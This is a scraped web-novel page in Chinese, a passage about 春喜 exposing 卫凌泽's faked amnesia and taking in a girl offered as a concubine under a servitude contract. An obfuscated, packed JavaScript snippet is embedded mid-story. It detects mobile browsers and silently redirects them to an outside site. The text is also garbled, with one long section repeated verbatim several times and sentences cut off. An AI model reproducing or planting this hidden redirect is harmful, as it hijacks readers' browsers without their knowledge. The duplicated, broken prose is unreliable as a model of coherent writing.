春喜没有急着戳穿卫凌泽,弯眸笑道:“无妨,我毕竟是长辈,自然要大度些,不会与小辈一般见识,不过就算侄婿因为生病忘了一些事,身边人总该是记得的,他们没有告诉侄婿你最近都做过什么吗?” 卫凌泽脸色未变,温声道:“我找人问了一些,但因为没有记忆,感觉十分割裂,就像是我被人夺舍,做了一些我根本不可能做的事一样。” 不仅失忆,还有夺舍,春喜都想鼓掌叫好,夸他一声高明了。 合着之前那些混账事都是邪祟入体干的,他其实始终如一,从未变过。 “夺舍?”春喜拔高声音,露出惊恐之色,“我之前听人说过,这世上的确有些厉鬼邪祟非常厉害,能够抢占别人的身体,但被夺舍的都是命格不好的天煞孤星,是会克**人的,侄婿的家里人最近还好吗?” 春喜这话不像是关心,更像是咒骂。 卫凌泽的眼皮跳了跳,强撑着冷静回答:“我家里人一切都好,小婶婶不用担心。” 春喜当然不会担心,她接着刚刚的话题继续道:“这事也太奇怪了,若侄婿真的被夺舍,前后脾性和行为应该有很大的差别,怎么身边这么多至亲竟然没有一个发现异常呢?” “夺舍之事只是传闻,并没有人真的见过,而且那时我受了重伤,在重大打击之下,性情有些变化也很正常。” “可是偷偷圈养外室和私生子、为了外室打断州府大人独子一条腿,还一不高兴就动手打自己的夫人这些事都是在侄婿伤好以后才发生的,而且卫家人还帮忙隐瞒了,就算侄婿被夺舍身体里住了个厉鬼,卫家人不能也都被夺舍变成没有人性的厉鬼了吧?” “……” 卫凌泽被春喜噎得说不出话来。 按照春喜这个逻辑问下去,他想摘清自己,就只能说卫家家风不正了。 “咳咳,”卫凌泽轻咳两声,转移话题:“小婶婶好像对我很有恶意,若我有什么地方得罪过小婶婶,还请小婶婶见谅。” “你没有得罪过我,”春喜笑着否认,不等卫凌泽开口又道,“是那个夺了你的舍,该下十八层地狱、生生世世投畜生道的死鬼得罪我的。” 卫凌泽:“……” 在行舟肩膀,慢吞吞地往外挪着。 春喜这次没有主动跟他打招呼,只隔着一段距离观察着他。 很快,卫凌泽就感受到她的目光偏头看了过来。 视线相撞的瞬间,春喜感受到了浓烈的杀意。 只一瞬,卫凌泽就收敛了杀气,眼神变得茫然。 原来真是装的啊。 春喜挑了下眉,加快步子走过去,隔着两三步的距离,她听到卫凌泽装模作样地问行舟:“后面这位夫人是谁,我之前来萧家怎么从未见过?” 行舟并未注意到春喜,听到卫凌泽问话,这才扭头看过来,见是春喜,表情一僵,一时不知该如何介绍。 之前毕竟一起共事过,春喜没有为难行舟,主动开口:“我是沈清渊的夫人,按照辈分,你该唤我一声婶婶。” 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回到家便看到沈金花带着一个有些瘦弱的小姑娘站在大门口。 春喜刚下车小姑娘便被推到春喜面前柔柔软软地开口:“莹儿见过春喜姐姐。” 上次去太傅府吃饭春喜见过沈金花的女儿这小姑娘瞧着脸生不知道是什么来历春喜没有回应她只看着沈金花。 “这大冷的天小姑怎么来了?” 春喜疑惑并不急着往府里走沈金花难得大方递过来两包补品:“你这孩子怀孕这么大的事怎么不跟家里说啊你婆母虽然不在了但沈家还有这么多人在我给你买了些燕窝可滋补了。” 都说伸手不打笑脸人沈金花是带着礼物来的春喜也不好不让人进屋收了燕窝把人领到前厅。 一路上沈金花嘀嘀咕咕问个不停听到春喜说这两日胃口好转也没别的不适忍不住感叹:“看来这大夫的方子是真的好啊阿喜你不仅怀上了孩子还不怎么遭罪只是不知道这怀的是男还是女。” 春喜抓住关键问:“什么方子我怎么听不明白小姑在说什么?” “就是调理身子助孕的方子啊你不是跟卫家那位大少夫人去的同一家医馆看的吗你这运气是真好吃了方子没多久就怀上了那卫少夫人自己怀不上还不许卫家养私生子未免也太霸道了。” 沈金花说着啧啧出声。 萧老爷子看不上清远侯这个妹婿萧家也瞧不上沈家现在萧清禾传出不孕沈金花心里很是幸灾乐祸。 萧家的女人出身再好那也还是女人生不出孩子就是生不出蛋的母鸡能有人要就不错了还有什么好拿乔的。 这般想着沈金花继续道:“渊儿的亲生母亲也是成婚好些年肚子都没有动静多亏了母亲日夜求神拜佛为她寻来偏方她才生下渊儿现在这卫少夫人也生不出来说不定他们萧家的女人就是有什么不可告人的毛病呢。” 春喜没有急着反驳沈金花只好奇地问:“这个消息小姑是从哪儿听说的?” “有人在医馆看到你们了现在都传开啦不是我说你 沈金花抓住机会打压春喜只盼着春喜这一胎生个女儿最好到时伤了身子不能 再生,那春喜以后就不敢再在沈家人面前耀武扬威了。 春喜把沈金花的表情变化尽收眼底,她并不动怒,也没有愧疚慌张,只幽幽道:“我们家里没有府医,有个头疼脑热去医馆抓点儿治伤风咳嗽的药也很正常,小姑要是听到几句捕风捉影的话就来指责我,等夫君回来我可要闹了。” 之前春喜被**,沈家人想趁机拿回萧氏的嫁妆,结果全都被沈清渊送进了大理寺,听到春喜搬出沈清渊,沈金花眼皮一跳,连忙道:“我可不是捕风捉影,是迟儿前两日回家说的,你和卫少夫人去抓药那日,她刚好也在医馆,看得可清楚了。” 沈清迟? 春喜有些意外:“她不是在大理寺吗,什么时候出来的?” “她肚子里还怀着太傅府的骨血呢,太傅府筹了一万两把她赎出来了,你这个做大嫂的也是,就算迟儿一时糊涂做了错事,你就不能大度一点饶了她吗,她肚子里的孩子毕竟是无辜的,你如今也怀上了,应该多为肚子里的孩子积德才是。” 春喜说一句,沈金花就能念叨好几句,不出三句就得挑春喜的刺。 春喜没把沈金花的话听进去,凝神想着自己的事。 她现在已经诊出有孕了,就算传出之前去医馆找大夫问过助孕的方子,也对她造成不了太大的影响,这些传言分明是冲着禾儿去的。 沈清迟肯定没有胆子跟萧家作对,让她站出来说这件事的,应该是云晚棠。 这人还真挺有本事的。 上次她都提醒过云氏,要小心云晚棠在中间挑拨离间,没想到云氏还能让云晚棠继续掺和自己家的事。 卫凌泽突然装失忆不会就是云晚棠帮忙出的主意吧?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046361|171571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 春喜想得入神,沈金花说了一箩筐的话始终得不到回应,忍不住有些生气:“曹春喜,我在跟你说话,你是聋了吗?” 沈金花突然拔高声音怒吼,春喜回过神来,一脸无辜:“小姑方才说什么了?” “……” 要不是知道打不过,沈金花都想扑上去跟春喜拼了。 深吸两口气压下怒火,沈金花把刚刚的话重复了一遍:“渊儿这个岁数好不容易才有了孩子,这孩子可不能出任何闪失,这几个月,你与渊儿不能同房,可曾想过解决办法?” 春喜的脑子还没跳转过来,脱口而出:“要解决什么?” 沈金花的太阳穴突突地跳了两下,她把那个小姑娘推到春喜面前说:“你怀着身孕,不能同房,但渊儿是男人,不能陪你憋着,莹儿是我婆家大嫂的女儿,身世清白,人也伶俐,这几个月就让她代你伺候渊儿,若是她能为渊儿生下儿子,你以后也不用再遭一次罪了。” 春喜明白了,沈金花这是给沈清渊送妾来的。 这在大户人家的确是很常见的事,只是成婚这几个月沈清渊对春喜太好,春喜压根没想过这件事。 她终于把视线从沈金花身上移到这个叫莹儿的小姑娘身上。 仔细观察,这个小姑娘的脸其实长得挺好看的。 “你多大了?” 春喜柔声问,莹儿绷直了身体有些紧张,如实道:“回春喜姐姐,我上个月刚过十六岁生辰。” “你知道你来这里是要做什么的吗?” 莹儿顿时红了脸,却还是点头道:“莹儿知道,莹儿是来伺候春喜姐姐和大人的,姐姐放心,莹儿可以不要名分,更不会与姐姐争宠。” 莹儿说完跪下砰砰磕了两个头。 沈金花对她的表现很满意,正要再劝劝春喜,却听到春喜说:“行,人我收下了。” 沈金花:“……”??? 诶?这么顺利的吗? 第259章 夫人替大人收了个人 “你真的愿意留下莹儿?” 春喜答应得太爽快,沈金花反倒觉得有蹊跷。 春喜反问:“小姑专程带她来,不就是想让我收下她吗,难道小姑要反悔?” 沈金花不敢回答,只警惕地看着春喜,好像她一个答得不好,就会被春喜坑惨,最后是莹儿沉不住气,急急开口:“谢春喜姐姐,莹儿以后一定会尽心尽力伺候姐姐和大人的。” 沈金花瞪了莹儿一眼,怪她表现得太心急了,而后试探着问春喜:“你就这么把人收下了,没有别的要求?” “当然有。” 春喜点点头,沈金花反而松了口气,一脸期盼地等着春喜提要求。 春喜的厉害沈家人都已经见识过了,有她在一天,萧氏的嫁妆就不可能回到沈家人手上,而且沈清渊也不会跟沈家人亲近,莹儿就不同了。 莹儿打小就和沈金花亲近,又比春喜小几岁,要是能先春喜一步为沈清渊生下长子,日后再想办法得到沈清渊的宠爱,能给沈家人带来的利益可就太多了。 只要春喜提的要求不太过分,沈家人都能接受。 沈金花正想着,就听到春喜温温和和的声音:“她要留下可以,把**契签一下吧。” 莹儿脸上笑意一收,沈金花心里也打了个突,她急急道:“我刚刚说了,莹儿是我婆家大嫂的女儿,你怎么能让她签**契?” “你们都让她来给人陪睡了,这**契有什么不能签的?” 春喜挑眉,说得直白且难听。 莹儿原本红扑扑的小脸白了两分,沈金花的脸色也不好看,她皱眉反驳:“阿喜,我可是为了你着想,才带莹儿来帮忙的,这天底下的男人就没有不偷腥的,与其让外面不三不四的狐狸精把渊儿勾走,不如让莹儿跟你一起伺候不是吗?” “小姑一番苦心我是明白的,我也愿意答应,只是人心易变,万一莹儿妹妹以后仗着有小姑撑腰,要联合沈家人压我一头,我该怎么办呢?” 心思被戳穿,沈金花急急道:“这怎么可能呢,渊儿这么宠爱你,怎可能让别人越过你去。” “口说无凭,小姑若是不愿意签这**契,那就请回吧,改日我去买两个好看的丫鬟回来侍奉夫君也不是什么难事。” 春喜说完给阿鲤递了个眼色让他送客,沈金花还有些拿不定主意,莹儿已斩钉截铁道:“我愿意签**契给姐姐。” 莹儿这张脸还透着稚嫩,眼神却已经透露出了对权势地位的渴望。 春喜让人去取笔 墨纸砚,最后又提醒了莹儿一遍:“妹妹可想好了,这**契是要拿到官府去盖印上册的,一旦入了奴籍,你就处处低人一等,日后只能听凭我发落了。” 莹儿舔舔唇,到底还是有些紧张,但说出来的话却是:“姐姐不也是在卫家做了多年丫鬟才有今日的吗?” 言下之意,春喜能做到的事,她也能做到。 春喜暗暗啧了一声。 她原本觉得自己挺自强不屈的,没想到在莹儿这里竟然是这样的形象。 不过莫氏当年就是爬床上位的,如今还有个有样学样的沈清迟,莹儿被带歪怎么都不能算是她的错。 这般想着,春喜不再多言,写下**契让莹儿签字画押,最后让阿鲤拿了十两银子给沈金花。 “人我已经收下了,小姑还有其他的事吗?” “……” 这**契签得太快,沈金花根本来不及阻止,看着春喜那张脸,沈金花就忍不住眼皮狂跳。 沈金花不敢久留,假模假样地叮嘱了莹儿几句就匆匆离开。 她得赶紧回去跟大嫂通个气,万一日后曹春喜坑了莹儿,那可跟她没有关系。 —— 越西和昭陵互通商贸的事基本谈定,使臣团决定三日后离京,宫里今日设了宴,沈清渊回来得稍晚了些。 他刚穿过前厅,就碰上提着灯笼来接他的阿鲤。 看着那暖黄的灯笼光亮,沈清渊唇角微扬,温声问:“今日夫人去萧家可有发生什么事?几时回家的?晚饭吃得可好?” 阿鲤把春喜买了羊肉去萧家吃涮羊肉,出来时碰到卫凌泽,把卫凌泽骂了一通的事细细说了一遍。 沈清渊听完,眸底闪过冷意。 失忆还夺舍,卫凌泽这手段真是越来越下作了。 阿鲤并未停下,说完卫凌泽,又说了沈金花送人来的事。 听到春喜把人留下了,沈清渊停下步子,有些不敢置信地又问了一遍:“夫人当真把人留下了?” 阿鲤点头:“是的,不过夫人让她签了**契,这样以后就算她得了宠,也不能爬到夫人头上去。” “……” 沈清渊周身的气息陡然变冷,阿鲤还想说些什么,沈清渊直接抢走他手里的灯笼,沉沉道:“我自己回主院,你去休息吧。” 话落,沈清渊大步朝主院走去,不过转瞬,就把阿鲤远远甩在后面。 阿鲤:“……” 他不会是说错什么话了吧,怎么感觉大人像是要赶回主院吃了夫人? 可是夫人也没说这些事不能跟大人说啊。 主院里,春喜已沐浴完,正坐在火盆边烘头发,顺便看上一季的账簿。 萧老夫人给的那批掌柜能力很强,之前在莫氏手中生意平平的店如今盈利明显多了不少,她之前买的田地今年没有收成,庄子上新招了管事和佃户,这才刚除完杂草,翻了土,等明年开春再播种。 虽然没有收成,但临近年关,该发的福利还是不能少的。 春喜正琢磨着要发多少比较好,沈清渊就推开房门走了进来。 外面似乎又下起了雪,门一开,凛冽的冷风就灌了进来。 春喜打了个激灵,而后放下账簿,笑盈盈地朝沈清渊走去:“夫君,你回来啦。” 沈清渊没有像平日那样给春喜回应,他先冷着脸环视了一圈,最后才把目光落在春喜脸上:“人呢?” “什么人?” 春喜疑惑,沈清渊冷着脸,哀怨地瞪了她一眼:“夫人未经允许替我收下的人呢?” 春喜挑眉:“我的确收了个人,但谁说我是替夫君收的?” 墨纸砚,最后又提醒了莹儿一遍:“妹妹可想好了,这**契是要拿到官府去盖印上册的,一旦入了奴籍,你就处处低人一等,日后只能听凭我发落了。” 莹儿舔舔唇,到底还是有些紧张,但说出来的话却是:“姐姐不也是在卫家做了多年丫鬟才有今日的吗?” 言下之意,春喜能做到的事,她也能做到。 春喜暗暗啧了一声。 她原本觉得自己挺自强不屈的,没想到在莹儿这里竟然是这样的形象。 不过莫氏当年就是爬床上位的,如今还有个有样学样的沈清迟,莹儿被带歪怎么都不能算是她的错。 这般想着,春喜不再多言,写下**契让莹儿签字画押,最后让阿鲤拿了十两银子给沈金花。 “人我已经收下了,小姑还有其他的事吗?” “……” 这**契签得太快,沈金花根本来不及阻止,看着春喜那张脸,沈金花就忍不住眼皮狂跳。 沈金花不敢久留,假模假样地叮嘱了莹儿几句就匆匆离开。 她得赶紧回去跟大嫂通个气,万一日后曹春喜坑了莹儿,那可跟她没有关系。 —— 越西和昭陵互通商贸的事基本谈定,使臣团决定三日后离京,宫里今日设了宴,沈清渊回来得稍晚了些。 他刚穿过前厅,就碰上提着灯笼来接他的阿鲤。 看着那暖黄的灯笼光亮,沈清渊唇角微扬,温声问:“今日夫人去萧家可有发生什么事?几时回家的?晚饭吃得可好?” 阿鲤把春喜买了羊肉去萧家吃涮羊肉,出来时碰到卫凌泽,把卫凌泽骂了一通的事细细说了一遍。 沈清渊听完,眸底闪过冷意。 失忆还夺舍,卫凌泽这手段真是越来越下作了。 阿鲤并未停下,说完卫凌泽,又说了沈金花送人来的事。 听到春喜把人留下了,沈清渊停下步子,有些不敢置信地又问了一遍:“夫人当真把人留下了?” 阿鲤点头:“是的,不过夫人让她签了**契,这样以后就算她得了宠,也不能爬到夫人头上去。” “……” 沈清渊周身的气息陡然变冷,阿鲤还想说些什么,沈清渊直接抢走他手里的灯笼,沉沉道:“我自己回主院,你去休息吧。” 话落,沈清渊大步朝主院走去,不过转瞬,就把阿鲤远远甩在后面。 阿鲤:“……” 他不会是说错什么话了吧,怎么感觉大人像是要赶回主院吃了夫人? 可是夫人也没说这些事不能跟大人说啊。 主院里,春喜已沐浴完,正坐在火盆边烘头发,顺便看上一季的账簿。 萧老夫人给的那批掌柜能力很强,之前在莫氏手中生意平平的店如今盈利明显多了不少,她之前买的田地今年没有收成,庄子上新招了管事和佃户,这才刚除完杂草,翻了土,等明年开春再播种。 虽然没有收成,但临近年关,该发的福利还是不能少的。 春喜正琢磨着要发多少比较好,沈清渊就推开房门走了进来。 外面似乎又下起了雪,门一开,凛冽的冷风就灌了进来。 春喜打了个激灵,而后放下账簿,笑盈盈地朝沈清渊走去:“夫君,你回来啦。” 沈清渊没有像平日那样给春喜回应,他先冷着脸环视了一圈,最后才把目光落在春喜脸上:“人呢?” “什么人?” 春喜疑惑,沈清渊冷着脸,哀怨地瞪了她一眼:“夫人未经允许替我收下的人呢?” 春喜挑眉:“我的确收了个人,但谁说我是替夫君收的?” 墨纸砚,最后又提醒了莹儿一遍:“妹妹可想好了,这**契是要拿到官府去盖印上册的,一旦入了奴籍,你就处处低人一等,日后只能听凭我发落了。” 莹儿舔舔唇,到底还是有些紧张,但说出来的话却是:“姐姐不也是在卫家做了多年丫鬟才有今日的吗?” 言下之意,春喜能做到的事,她也能做到。 春喜暗暗啧了一声。 她原本觉得自己挺自强不屈的,没想到在莹儿这里竟然是这样的形象。 不过莫氏当年就是爬床上位的,如今还有个有样学样的沈清迟,莹儿被带歪怎么都不能算是她的错。 这般想着,春喜不再多言,写下**契让莹儿签字画押,最后让阿鲤拿了十两银子给沈金花。 “人我已经收下了,小姑还有其他的事吗?” “……” 这**契签得太快,沈金花根本来不及阻止,看着春喜那张脸,沈金花就忍不住眼皮狂跳。 沈金花不敢久留,假模假样地叮嘱了莹儿几句就匆匆离开。 她得赶紧回去跟大嫂通个气,万一日后曹春喜坑了莹儿,那可跟她没有关系。 —— 越西和昭陵互通商贸的事基本谈定,使臣团决定三日后离京,宫里今日设了宴,沈清渊回来得稍晚了些。 他刚穿过前厅,就碰上提着灯笼来接他的阿鲤。 看着那暖黄的灯笼光亮,沈清渊唇角微扬,温声问:“今日夫人去萧家可有发生什么事?几时回家的?晚饭吃得可好?” 阿鲤把春喜买了羊肉去萧家吃涮羊肉,出来时碰到卫凌泽,把卫凌泽骂了一通的事细细说了一遍。 沈清渊听完,眸底闪过冷意。 失忆还夺舍,卫凌泽这手段真是越来越下作了。 阿鲤并未停下,说完卫凌泽,又说了沈金花送人来的事。 听到春喜把人留下了,沈清渊停下步子,有些不敢置信地又问了一遍:“夫人当真把人留下了?” 阿鲤点头:“是的,不过夫人让她签了**契,这样以后就算她得了宠,也不能爬到夫人头上去。” “……” 沈清渊周身的气息陡然变冷,阿鲤还想说些什么,沈清渊直接抢走他手里的灯笼,沉沉道:“我自己回主院,你去休息吧。” 话落,沈清渊大步朝主院走去,不过转瞬,就把阿鲤远远甩在后面。 阿鲤:“……” 他不会是说错什么话了吧,怎么感觉大人像是要赶回主院吃了夫人? 可是夫人也没说这些事不能跟大人说啊。 主院里,春喜已沐浴完,正坐在火盆边烘头发,顺便看上一季的账簿。 萧老夫人给的那批掌柜能力很强,之前在莫氏手中生意平平的店如今盈利明显多了不少,她之前买的田地今年没有收成,庄子上新招了管事和佃户,这才刚除完杂草,翻了土,等明年开春再播种。 虽然没有收成,但临近年关,该发的福利还是不能少的。 春喜正琢磨着要发多少比较好,沈清渊就推开房门走了进来。 外面似乎又下起了雪,门一开,凛冽的冷风就灌了进来。 春喜打了个激灵,而后放下账簿,笑盈盈地朝沈清渊走去:“夫君,你回来啦。” 沈清渊没有像平日那样给春喜回应,他先冷着脸环视了一圈,最后才把目光落在春喜脸上:“人呢?” “什么人?” 春喜疑惑,沈清渊冷着脸,哀怨地瞪了她一眼:“夫人未经允许替我收下的人呢?” 春喜挑眉:“我的确收了个人,但谁说我是替夫君收的?” 墨纸砚,最后又提醒了莹儿一遍:“妹妹可想好了,这**契是要拿到官府去盖印上册的,一旦入了奴籍,你就处处低人一等,日后只能听凭我发落了。” 莹儿舔舔唇,到底还是有些紧张,但说出来的话却是:“姐姐不也是在卫家做了多年丫鬟才有今日的吗?” 言下之意,春喜能做到的事,她也能做到。 春喜暗暗啧了一声。 她原本觉得自己挺自强不屈的,没想到在莹儿这里竟然是这样的形象。 不过莫氏当年就是爬床上位的,如今还有个有样学样的沈清迟,莹儿被带歪怎么都不能算是她的错。 这般想着,春喜不再多言,写下**契让莹儿签字画押,最后让阿鲤拿了十两银子给沈金花。 “人我已经收下了,小姑还有其他的事吗?” “……” 这**契签得太快,沈金花根本来不及阻止,看着春喜那张脸,沈金花就忍不住眼皮狂跳。 沈金花不敢久留,假模假样地叮嘱了莹儿几句就匆匆离开。 她得赶紧回去跟大嫂通个气,万一日后曹春喜坑了莹儿,那可跟她没有关系。 —— 越西和昭陵互通商贸的事基本谈定,使臣团决定三日后离京,宫里今日设了宴,沈清渊回来得稍晚了些。 他刚穿过前厅,就碰上提着灯笼来接他的阿鲤。 看着那暖黄的灯笼光亮,沈清渊唇角微扬,温声问:“今日夫人去萧家可有发生什么事?几时回家的?晚饭吃得可好?” 阿鲤把春喜买了羊肉去萧家吃涮羊肉,出来时碰到卫凌泽,把卫凌泽骂了一通的事细细说了一遍。 沈清渊听完,眸底闪过冷意。 失忆还夺舍,卫凌泽这手段真是越来越下作了。 阿鲤并未停下,说完卫凌泽,又说了沈金花送人来的事。 听到春喜把人留下了,沈清渊停下步子,有些不敢置信地又问了一遍:“夫人当真把人留下了?” 阿鲤点头:“是的,不过夫人让她签了**契,这样以后就算她得了宠,也不能爬到夫人头上去。” “……” 沈清渊周身的气息陡然变冷,阿鲤还想说些什么,沈清渊直接抢走他手里的灯笼,沉沉道:“我自己回主院,你去休息吧。” 话落,沈清渊大步朝主院走去,不过转瞬,就把阿鲤远远甩在后面。 阿鲤:“……” 他不会是说错什么话了吧,怎么感觉大人像是要赶回主院吃了夫人? 可是夫人也没说这些事不能跟大人说啊。 主院里,春喜已沐浴完,正坐在火盆边烘头发,顺便看上一季的账簿。 萧老夫人给的那批掌柜能力很强,之前在莫氏手中生意平平的店如今盈利明显多了不少,她之前买的田地今年没有收成,庄子上新招了管事和佃户,这才刚除完杂草,翻了土,等明年开春再播种。 虽然没有收成,但临近年关,该发的福利还是不能少的。 春喜正琢磨着要发多少比较好,沈清渊就推开房门走了进来。 外面似乎又下起了雪,门一开,凛冽的冷风就灌了进来。 春喜打了个激灵,而后放下账簿,笑盈盈地朝沈清渊走去:“夫君,你回来啦。” 沈清渊没有像平日那样给春喜回应,他先冷着脸环视了一圈,最后才把目光落在春喜脸上:“人呢?” “什么人?” 春喜疑惑,沈清渊冷着脸,哀怨地瞪了她一眼:“夫人未经允许替我收下的人呢?” 春喜挑眉:“我的确收了个人,但谁说我是替夫君收的?” 墨纸砚,最后又提醒了莹儿一遍:“妹妹可想好了,这**契是要拿到官府去盖印上册的,一旦入了奴籍,你就处处低人一等,日后只能听凭我发落了。” 莹儿舔舔唇,到底还是有些紧张,但说出来的话却是:“姐姐不也是在卫家做了多年丫鬟才有今日的吗?” 言下之意,春喜能做到的事,她也能做到。 春喜暗暗啧了一声。 她原本觉得自己挺自强不屈的,没想到在莹儿这里竟然是这样的形象。 不过莫氏当年就是爬床上位的,如今还有个有样学样的沈清迟,莹儿被带歪怎么都不能算是她的错。 这般想着,春喜不再多言,写下**契让莹儿签字画押,最后让阿鲤拿了十两银子给沈金花。 “人我已经收下了,小姑还有其他的事吗?” “……” 这**契签得太快,沈金花根本来不及阻止,看着春喜那张脸,沈金花就忍不住眼皮狂跳。 沈金花不敢久留,假模假样地叮嘱了莹儿几句就匆匆离开。 她得赶紧回去跟大嫂通个气,万一日后曹春喜坑了莹儿,那可跟她没有关系。 —— 越西和昭陵互通商贸的事基本谈定,使臣团决定三日后离京,宫里今日设了宴,沈清渊回来得稍晚了些。 他刚穿过前厅,就碰上提着灯笼来接他的阿鲤。 看着那暖黄的灯笼光亮,沈清渊唇角微扬,温声问:“今日夫人去萧家可有发生什么事?几时回家的?晚饭吃得可好?” 阿鲤把春喜买了羊肉去萧家吃涮羊肉,出来时碰到卫凌泽,把卫凌泽骂了一通的事细细说了一遍。 沈清渊听完,眸底闪过冷意。 失忆还夺舍,卫凌泽这手段真是越来越下作了。 阿鲤并未停下,说完卫凌泽,又说了沈金花送人来的事。 听到春喜把人留下了,沈清渊停下步子,有些不敢置信地又问了一遍:“夫人当真把人留下了?” 阿鲤点头:“是的,不过夫人让她签了**契,这样以后就算她得了宠,也不能爬到夫人头上去。” “……” 沈清渊周身的气息陡然变冷,阿鲤还想说些什么,沈清渊直接抢走他手里的灯笼,沉沉道:“我自己回主院,你去休息吧。” 话落,沈清渊大步朝主院走去,不过转瞬,就把阿鲤远远甩在后面。 阿鲤:“……” 他不会是说错什么话了吧,怎么感觉大人像是要赶回主院吃了夫人? 可是夫人也没说这些事不能跟大人说啊。 主院里,春喜已沐浴完,正坐在火盆边烘头发,顺便看上一季的账簿。 萧老夫人给的那批掌柜能力很强,之前在莫氏手中生意平平的店如今盈利明显多了不少,她之前买的田地今年没有收成,庄子上新招了管事和佃户,这才刚除完杂草,翻了土,等明年开春再播种。 虽然没有收成,但临近年关,该发的福利还是不能少的。 春喜正琢磨着要发多少比较好,沈清渊就推开房门走了进来。 外面似乎又下起了雪,门一开,凛冽的冷风就灌了进来。 春喜打了个激灵,而后放下账簿,笑盈盈地朝沈清渊走去:“夫君,你回来啦。” 沈清渊没有像平日那样给春喜回应,他先冷着脸环视了一圈,最后才把目光落在春喜脸上:“人呢?” “什么人?” 春喜疑惑,沈清渊冷着脸,哀怨地瞪了她一眼:“夫人未经允许替我收下的人呢?” 春喜挑眉:“我的确收了个人,但谁说我是替夫君收的?” 墨纸砚,最后又提醒了莹儿一遍:“妹妹可想好了,这**契是要拿到官府去盖印上册的,一旦入了奴籍,你就处处低人一等,日后只能听凭我发落了。” 莹儿舔舔唇,到底还是有些紧张,但说出来的话却是:“姐姐不也是在卫家做了多年丫鬟才有今日的吗?” 言下之意,春喜能 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阿鲤把春喜买了羊肉去萧家吃涮羊肉,出来时碰到卫凌泽,把卫凌泽骂了一通的事细细说了一遍。 沈清渊听完,眸底闪过冷意。 失忆还夺舍,卫凌泽这手段真是越来越下作了。 阿鲤并未停下,说完卫凌泽,又说了沈金花送人来的事。 听到春喜把人留下了,沈清渊停下步子,有些不敢置信地又问了一遍:“夫人当真把人留下了?” 阿鲤点头:“是的,不过夫人让她签了**契,这样以后就算她得了宠,也不能爬到夫人头上去。” “……” 沈清渊周身的气息陡然变冷,阿鲤还想说些什么,沈清渊直接抢走他手里的灯笼,沉沉道:“我自己回主院,你去休息吧。” 话落,沈清渊大步朝主院走去,不过转瞬,就把阿鲤远远甩在后面。 阿鲤:“……” 他不会是说错什么话了吧,怎么感觉大人像是要赶回主院吃了夫人? 可是夫人也没说这些事不能跟大人说啊。 主院里,春喜已沐浴完,正坐在火盆边烘头发,顺便看上一季的账簿。 萧老夫人给的那批掌柜能力很强,之前在莫氏手中生意平平的店如今盈利明显多了不少,她之前买的田地今年没有收成,庄子上新招了管事和佃户,这才刚除完杂草,翻了土,等明年开春再播种。 虽然没有收成,但临近年关,该发的福利还是不能少的。 春喜正琢磨着要发多少比较好,沈清渊就推开房门走了进来。 外面似乎又下起了雪,门一开,凛冽的冷风就灌了进来。 春喜打了个激灵,而后放下账簿,笑盈盈地朝沈清渊走去:“夫君,你回来啦。” 沈清渊没有像平日那样给春喜回应,他先冷着脸环视了一圈,最后才把目光落在春喜脸上:“人呢?” “什么人?” 春喜疑惑,沈清渊冷着脸,哀怨地瞪了她一眼:“夫人未经允许替我收下的人呢?” 春喜挑眉:“我的确收了个人,但谁说我是替夫君收的?” 墨纸砚,最后又提醒了莹儿一遍:“妹妹可想好了,这**契是要拿到官府去盖印上册的,一旦入了奴籍,你就处处低人一等,日后只能听凭我发落了。” 莹儿舔舔唇,到底还是有些紧张,但说出来的话却是:“姐姐不也是在卫家做了多年丫鬟才有今日的吗?” 言下之意,春喜能做到的事,她也能做到。 春喜暗暗啧了一声。 她原本觉得自己挺自强不屈的,没想到在莹儿这里竟然是这样的形象。 不过莫氏当年就是爬床上位的,如今还有个有样学样的沈清迟,莹儿被带歪怎么都不能算是她的错。 这般想着,春喜不再多言,写下**契让莹儿签字画押,最后让阿鲤拿了十两银子给沈金花。 “人我已经收下了,小姑还有其他的事吗?” “……” 这**契签得太快,沈金花根本来不及阻止,看着春喜那张脸,沈金花就忍不住眼皮狂跳。 沈金花不敢久留,假模假样地叮嘱了莹儿几句就匆匆离开。 她得赶紧回去跟大嫂通个气,万一日后曹春喜坑了莹儿,那可跟她没有关系。 —— 越西和昭陵互通商贸的事基本谈定,使臣团决定三日后离京,宫里今日设了宴,沈清渊回来得稍晚了些。 他刚穿过前厅,就碰上提着灯笼来接他的阿鲤。 看着那暖黄的灯笼光亮,沈清渊唇角微扬,温声问:“今日夫人去萧家可有发生什么事?几时回家的?晚饭吃得可好?” 阿鲤把春喜买了羊肉去萧家吃涮羊肉,出来时碰到卫凌泽,把卫凌泽骂了一通的事细细说了一遍。 沈清渊听完,眸底闪过冷意。 失忆还夺舍,卫凌泽这手段真是越来越下作了。 阿鲤并未停下,说完卫凌泽,又说了沈金花送人来的事。 听到春喜把人留下了,沈清渊停下步子,有些不敢置信地又问了一遍:“夫人当真把人留下了?” 阿鲤点头:“是的,不过夫人让她签了**契,这样以后就算她得了宠,也不能爬到夫人头上去。” “……” 沈清渊周身的气息陡然变冷,阿鲤还想说些什么,沈清渊直接抢走他手里的灯笼,沉沉道:“我自己回主院,你去休息吧。” 话落,沈清渊大步朝主院走去,不过转瞬,就把阿鲤远远甩在后面。 阿鲤:“……” 他不会是说错什么话了吧,怎么感觉大人像是要赶回主院吃了夫人? 可是夫人也没说这些事不能跟大人说啊。 主院里,春喜已沐浴完,正坐在火盆边烘头发,顺便看上一季的账簿。 萧老夫人给的那批掌柜能力很强,之前在莫氏手中生意平平的店如今盈利明显多了不少,她之前买的田地今年没有收成,庄子上新招了管事和佃户,这才刚除完杂草,翻了土,等明年开春再播种。 虽然没有收成,但临近年关,该发的福利还是不能少的。 春喜正琢磨着要发多少比较好,沈清渊就推开房门走了进来。 外面似乎又下起了雪,门一开,凛冽的冷风就灌了进来。 春喜打了个激灵,而后放下账簿,笑盈盈地朝沈清渊走去:“夫君,你回来啦。” 沈清渊没有像平日那样给春喜回应,他先冷着脸环视了一圈,最后才把目光落在春喜脸上:“人呢?” “什么人?” 